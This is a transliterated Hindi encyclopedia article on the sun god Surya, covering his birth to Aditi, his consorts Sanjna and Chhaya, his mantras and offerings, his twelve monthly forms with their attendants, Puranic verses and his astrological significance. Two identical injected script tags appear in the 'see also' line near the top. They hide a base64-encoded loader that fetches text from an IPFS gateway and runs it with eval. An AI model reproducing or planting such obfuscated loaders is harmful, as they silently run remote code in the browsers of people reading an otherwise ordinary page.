सूर्य देवता

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- soory (bahuvikalpi)

REDIRECTsaancha:nilainhean bhi dekhean
REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: sooryopanishad<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Sun-God-Sun-Temple-Konark-9.jpg|bhagavan soory, soory mandir, konark
God Sun, Sun Temple, Konark|thumb|250px]]

vaidik aur pauranik akhyanoan ke anusar bhagavan shri soory samast jiv-jagat ke atmasvaroop haian. ye hi akhil srishti ke adi karan haian. inhian se sab ki utpatti huee hai.
pauranik sandarbh mean sooryadev ki utpatti ke anek prasang prapt hote haian. yadyapi unamean varnit ghatanakramoan mean antar hai, kintu kee prasang paraspar milate-julate haian. sarvadhik prachalit manyata ke anusar bhagavan soory maharshi kashyap ke putr haian. ve maharshi kashyap ki patni aditi ke garbh se utpann hue. aditi ke putr hone ke karan hi unaka ek nam adity hua. paitrik nam ke adhar par ve kashyap prasiddh hue. sankshep mean yah katha is prakar hai- ek bar daity-danavoan ne milakar devataoan ko parajit kar diya. devata ghor sankat mean p dakar idhar-udhar bhatakane lage. dev-mata aditi is har se du:khi hokar bhagavan soory ki upasana karane lagian. bhagavan soory prasann hokar aditi ke samaksh prakat hue. unhoanne aditi se kaha- devi! tum chinta ka tyag kar do. maian tumhari ichchha poorn karooanga tatha apane hazaravean aansh se tumhare udar se prakat hokar tere putroan ki raksha karooanga.' itana kahakar bhagavan soory antardhan ho gaye.
kuchh samay ke uparant devi aditi garbhavati hueean. santan ke prati moh aur mangal-kamana se aditi anek prakar ke vrat-upavas karane lagian. maharshi kashyap ne kaha- 'aditi! tum garbhavati ho, tumhean apane sharir ko sukhi aur pusht rakhana chahiye, parantu yah tumhara kaisa vivek hai ki tum vrat-upavas ke dvara apane garbhand ko hi nasht karane par tuli ho. aditi ne kaha- 'svami! ap chinta n karean. mera garbh sakshat soory shakti ka prasad hai. yah sada avinashi hai.' samay ane par aditi ke garbh se bhagavan soory ka prakaty hua aur bad mean ve devataoan ke nayak bane. unhoanne devashatru asuroan ka sanhar kiya.
bhagavan soory ke parivar ki vistrit katha bhavishy puran, matsy puran, padm puran, brahm puran, markandey puran tatha sambapuran mean varnit hai.
brahma, vishnu, mahesh adi devaganoan ka bina sadhana evan bhagavatkripa ke pratyaksh darshan hona sambhav nahian hai. shastr ke ajnanusar keval bhavana ke dvara hi dhyan aur samadhi mean unaka anubhav ho pata hai, kintu bhagavan soory nity sabako pratyaksh darshan dete haian. isaliye pratyaksh dev bhagavan soory ki nity upasana karani chahiye.
vaidik sooktoan, puranoan tatha agamadi granthoan mean bhagavan soory ki nity aradhana ka nirdesh hai. mantr mahodadhi tatha vidyarnav mean bhagavan soory ke do prakar ke mantr milate haian. pratham mantr- Om ghrini soory adity Om tatha dvitiy mantr- Om hrian ghrini soory adity: shrian hrian mahyan lakshmian prayachchh hai.
bhagavan soory ke ardhyadan ki vishesh mahatta hai. pratidin prat:kal raktachandanadi se mandal banakar tatha tamrapatr mean jal, lal chandan, chaval, raktapushp aur kushadi rakhakar sooryamantr ka jap karate hue bhagavan soory ko ardhy dena chahiye. sooryarghy ka mantr Om ehi soory sahastraansho tejorashe jagatpate. anukampay maan bhaktya grihanarghyan divakar hai. ardhyadan se prasann hokar bhagavan soory ayu, arogy, dhan-dhany, yash, vidya, saubhagy, mukti- sab kuchh pradan karate haian.

thumb|250px|left|soory devata

bhagavan virat ke netr se jinaki abhivyakti hai, jo lok lochan ke adhidevata haian, jo upasana karane par samast rogoan, netr doshoan, grah pi daoan ko door karake upasak ki sampoorn kamanaoan ko poorn karate haian, anadi kal se bharatiy karmanishth dvijadi jinhean pratidin apani ardhyaanjali nivedit karate haian, jo samast sacharachar jagat ke jivanadata aur sampoorn praniyoan ke aradhy haian, un jyotighan, jivan, ushnata aur jnan ke svaroop bhagavan sooryanarayan ko hamara shatash: pranipat.
drishy sooryamandal unaka ek sthool nivas hai. vishv mean koti-koti soory mandal haian. vijnan akashaganga ke pratyek tarak ko soory kahata hai. hamare gagan ki akashaganga ke pichhe kitane hi niharika mandal haian. sab akashaganga haian. sab sooryoan se jagamagati haian. koee nahian janata, unaki sankhya kitani hai. un sab sooryoan ke adhishthata bhagavan narayan hi haian. shri sooryanarayan ki aradhana isi roop mean aradhak karate haian.
maharshi kashyap lok pita haian. unaki patni devamata aditi ke garbh se bhagavan virat ke netroan se vyakt sooryadev jagat mean prakat hue. soory mandal ka drishy roop bhautik jagat mean unaki deh hai. vishvakarma ki putri sanjna se unaka parinay hua. sanjna ke do putr aur ek kanya huee- shraddhadev vaivasvatamanu aur yamaraj tatha yamuna ji. sanjna bhagavan soory ke tez ko sahan nahian kar pati thi. usane apani chhaya unake pas chho d di aur svayan gho di ka roop dharan karake tap karane lagi. us chhaya se shanaishchar, savarni manu aur tapati namak kanya huee. bhagavan soory ne jab sanjna ko tap karate dekha to use tusht karake apane yahaan le aye. sanjna ke b dava (gho di) roop se ashvinikumar hue. treta mean kapiraj sugriv aur dvapar mean maharathi karn bhagavan soory ke aansh se hi utpann hue.
pakshiraj garu d ke b de bhaee vinata nandan arun ji bhagavan soory ke rath ko haankate haian. rath mean sat ujjval gho de jute haian. aharnish yah rath poorn veg se chalata rahata hai.
saur siddhant bhi vastut: soory ko gatishil manata hai. vijnan ke mahanh vidvan abhi paraspar is sambandh mean sahamat nahian haian. unaka anveshan chal raha hai. nity naye siddhant vahaan banate ja rahe haian.
bhagavan soory apane rath par asin avishrant bhav se meroo ki pradakshina karate rahate haian. unhian ke dvara din, ratri, mas, rritu, ayan, varsh adi ka vibhag hota hai. vahi dishaoan ke bhi vibhajak haian.
bhagavan soory ki upasana barah mahinoan mean barah namoan se hoti hai. us samay unake parshad bhi parivartit ho jate haian. in parshadoan mean rrishi, apsaraean, gandharv, rakshas, bhall aur nag haian.
rrishi rath se age chalate hue bhagavan ki stuti karate haian.
gandharv gan karate haian.
apsaraean nachati haian.
rakshas rath ko pichhe se thelate haian.
bhall rathayojak banate haian aur
nag rath ko le chalate haian.
yah sooryavyooh nimn hai—

mahina	bhagavan mas-sambaddh nam	soory ka rrishi	apsara	gandharv	rakshas	bhall	nag
madhu (chaitr)	dhata	pulasty	kritasthali	tumburoo	heti	rathakrit	vasuki
madhav (vaishakh)	aryama pulah	pulah	puanjikasthali	narad	praheti	oj:	kachchhanir
shukr (jyeshth)	mitr	atri	menaka	haha	paurushey	rathasvan	takshak
shuchi (ashadh)	varun	vasishth	rambha	hoohoo	shukr	chitrasvan	sahajany
nabh (shravan)	indr	aangira	pramlocha	vishvavasu	vary	shrota	elapatr
nabhasy (bhadrapad)	vivasvan	bhrigu	anumlocha	ugrasen	vyaghr	asaran	shankhapal
tap (ashvin)	poosha	gautam	ghritachi	dhananjay	vat	suruchi	sushen
tapasy (kartik)	kratu	bharadvaj	varcha	parjany	senajit	vishv	airavat
sah (margashirsh)	aanshu	kashyap	urvashi	rritasen	vidyuchchhatru	tarkshy	mahashankh
pushy (paush)	bhag	ayu	poorvanchitti	sphoorj	arishtanemi	oorn	karkotak
ish (magh)	tvashta	rrichikatanay (jamadagni)	tilottama	shatajit	brahmapet	dhritarashtr	kambal
oorj (phalgun)	vishnu	vishvamitr	rambha	sooryavarcha	makhapet	satyajith	ashvatar

sandhya bhagavan adity ki hi upasana hai aur vah dvijati matr ka anivary kartavy hai.
bhagavan soory sakshat narayan haian. un shruti dham ne vaji (ashv)-roop dharan karake maharshi yajnavalky ko shukl yajurved ka upadesh kiya.
shri hanuman ji ke vidya guru bhi vahi haian.
bharat mean ravivar ka vrat khoob prakhyat hai. anek art usase saphalakam hote haian.

soory ko manav/avatar/devata manate hue usaka janm aditi (prakriti) se hua mana gaya hai.
soory ki do patniyaan arthat sahachari batayi gayian haian.

sanjna( chetana ya oorja) aur
chhaya .

chhaya ki kokh se shani ka janm hua. gunoan mean pita se viparit dharm-karttavy vala hone ke karan shani pita soory ke sath manamutav jaisa vyavahar karata bataya gaya hai, parantu soory putr ke avagunoan ko to kudrishti se dekhata hai par putr ke sath tatsth bana rahata hai.
shrimadbhagavatapuran mean soory ke vishay mean vistar se varnan kiya gaya hai. soory ki sthiti batayi hai -

'aandamadhyagatah sooryo dyavabhoomyoryadantaram.
sooryandagolayormadhye kotyah syuah panchavianshatiah॥'

svarg aur prithvi ke bich mean jo brahmand ka keandr hai vahian soory ki sthiti hai.

'mriteand esh etasmin yad bhoottato martand iti vyapadeshah.
hiranyagarbh iti yaddhiranyandasamudbhavah॥'

arth

[[chitr:Sun-God-Sun-Temple-Konark-13.jpg|bhagavan soory, soory mandir, konark
God Sun, Sun Temple, Konark|thumb|250px]] is achetan mean virajane ke karan ise 'martand' bhi kaha jata hai. yah jyotirmay(hiranyamay) brahmaand se prakat hue haian isalie inhean 'hiranyagarbha' bhi kahate haian. soory hi disha, akash, dyulok (aantariksh) bhoolok, svarg aur moksh ke pradesh , narak, aur rasatal aur any bhagoan ke vibhagoan ka karan hai. soory hi samast devata, tiryak, manushy, sarisrip aur lata-vrikshadi samast jiv samoohoan ke atma aur netrendriyake adhishthata haian, arthat soory se hi jivan hai. 'sooryen hi vibhajyante dishah khan dyaurmahi bhida. svargapavargonaraka rasaukaansi ch sarvashah॥' 'devatiryanmanushyanaan sarisripasavirudham. sarvajivanikayanaan soory atma drigishvarah॥'

soory ki sthiti

soory grahoan aur nakshatroan ka svami hai. soory uttarayan, dakshinayan aur vishuvat nam vali kramashah mand, shighr aur saman gatiyoan se chalate hue samayanusar makaradi rashiyoan mean ooanche-niche aur saman sthanoan mean jakar din rat ko b da,chhota karata hai. jab mesh ya tula rashi par ata hai tab din-rat saman ho jate haian. tab pratimas ratriyoan mean ek-ek gh di kam hoti jati hai aur din badhate jate haian. jab vrishchikadi rashiyoan par soory chalate haian tab isake viparit parivartan hota hai. shrimadbhagavapuran mean soory ki parikrama ka marg nau karo d, ikyavan lakh yojan bataya hai. samay ke sath soory ko spasht karane ke lie rupak hai:'soory ka sanvatsar nam ka ek chakr (pahiya) hai, usamean mah roopi barah are haian, rritu roopi chhah nemiyaan haian aur tin chaumase roopi tin nabhiyaan haian.'

jyotish mean soory

jyotish ke anusar soory sabase tejasvi, pratapi aur sat aur tamo gun vala grah kaha gaya hai. yah atma ka karak aur hriday evan na di sansthan ka adhipati hai. soory samast brahmaand ka keandr jyotish mean bhi mana gaya hai. prachin jnan ka har vishay manavikaran aur roopak ke madhyam se spasht kiya gaya milata hai. soory bhi isase achhoota nahian hai.

soory kritika, uttarashadha aur uttaraphalguni nakshatroan ka svami hai.
kritika nakshatr jnanarjan, pashupalan, rog, anasakti, ashaant aur tarkikata ityadi gun-pradhan bataya gaya hai.
uttarashadha chitrakala, safaee, yash-kirti, prajna, pushtata, garvilapan, dridhata aur nipunata jaise vishayoan ka pradhan bataya gaya hai.
uttaraphalguni tej-smaranashakti, kala-kushalata, vyavahar-kushalata, ekaantapremi, mata-pita ke sukh se vanchit jaise gunoan ki pradhanata vala bataya gaya milata hai.
soory sianh rashi, jo kal-purush( samay ka manaviyakaran) ka amashay/ pet mana gaya hai aur ganana se paanchavi rashi hai, ka svami mana gaya hai aur bhavoan ke anusar paanchavaan bhav shiksha, santan, shauq aur adat ka hai.

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah